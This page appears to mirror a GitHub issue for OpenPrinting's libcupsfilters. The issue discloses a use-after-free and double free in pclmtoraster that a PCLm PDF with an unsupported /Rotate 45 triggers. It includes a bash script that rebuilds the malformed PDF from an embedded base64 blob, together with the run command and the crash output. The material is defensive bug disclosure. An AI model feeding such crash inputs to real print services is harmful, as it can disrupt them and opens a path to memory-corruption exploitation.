OpenPrinting / OpenPrinting/libcupsfilters

PCLm unsupported rotation UAF and double free

Open
#186 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

A PCLm-like PDF with a complete RGB image and unsupported /Rotate 45
causes pclmtoraster to free the source bitmap, continue reading it during
Raster conversion, and free the same pointer again. The current real wrapper
reproduces the issue.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Build the current pclmtoraster wrapper
and its split-stack dependencies with AddressSanitizer. The constructor below
emits a 100x100 RGB PCLm-like PDF with exactly 30,000 decoded image bytes and
/Rotate 45.

Run the real wrapper using its standard seven-argument filter interface:

export ASAN_OPTIONS=detect_leaks=0:abort_on_error=1
export CONTENT_TYPE=application/PCLm
export FINAL_CONTENT_TYPE=application/vnd.cups-raster
pclmtoraster 1 user title 1 "" poc/document.pdf > /dev/null

The generated document's SHA-256 is
5410d72eba848c96330c516f38f3334a8ffde7ce1c2eacbe3c8301fb4f9914ed.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: PCLm unsupported rotation UAF and double free
# Finding ID: pclmtoraster-unsupported-rotation-uaf-double-free
# Trigger: A PCLm-like PDF with a complete RGB image and unsupported /Rotate
# 45 causes pclmtoraster to free the source bitmap, continue reading it during
# Raster conversion, and free the same pointer again. The current real wrapper
# reproduces the issue.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (30606 bytes)
write_file document.pdf 5410d72eba848c96330c516f38f3334a8ffde7ce1c2eacbe3c8301fb4f9914ed <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3dwW7TMBzH8btvvIGF1CM4jpMIpKmHtQwQSOsyJJCmHbLU6zI1cXE8BLwXPMCe
bE62rqjbkePX+Six/vk7dp7gN1nMj17p15mY3P65/SuElol0F9fi4EB9+bWxalaFau1WalGtbC/T
+LacToXtlkOTSPe6xy71qVn2Z2ZoPVczd9MFqf9ZY55ZE2/exr7x+6p0oQpWZrkqbe9ufG372Pzt
+OLa1iHOPraJzO5PMp3GHboQ1/Yy3ztctrdR0w47fW2W4UrqJFEfbLO6CuN05tbOn26q2qq5/dHU
tnx/qA6b0C+sn7l247rhdG/UZ9ut4mqTxBF36oO3VStevDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA8F8MCa0P0anbrNZ8l9W6zVjVu4DV70NIqxyu7bNu5RgDO3fy
RDzzvZ/eXopEFiJ5HLLIc1PIS/lY04W8f9PtakX6pKZ19qSW6rd7NZOYzOxqIviqWVs//NFp89vK
QpXOBakfQmr7UPkwntIkWWrEZPLu+EjcAWQchIiOdwAA
POC_PAYLOAD_0

Result

ASan reports a heap use after free in cfImageRGBToWhite() called from
out_page(). A plain build writes partial Raster output and then aborts with
glibc's double-free diagnostic.

Cause and expected behavior

rotate_bitmap() returns its source pointer for unsupported nonzero angles.
The caller assumes the return value is the separately allocated destination,
frees the source, consumes the returned dangling pointer, and frees it again.
Unsupported rotations should be rejected before ownership changes, or the
rotation helper must return an explicit error without aliasing source and
destination ownership.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Build the current pclmtoraster wrapper with AddressSanitizer and reproduce the issue using the supplied make_poc.sh and seven-argument command. Read rotate_bitmap(), then trace its caller through out_page() and cfImageRGBToWhite(). Done means unsupported rotation no longer causes a use-after-free or double free, while supported conversion still completes without sanitizer errors.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
cli
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
68/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.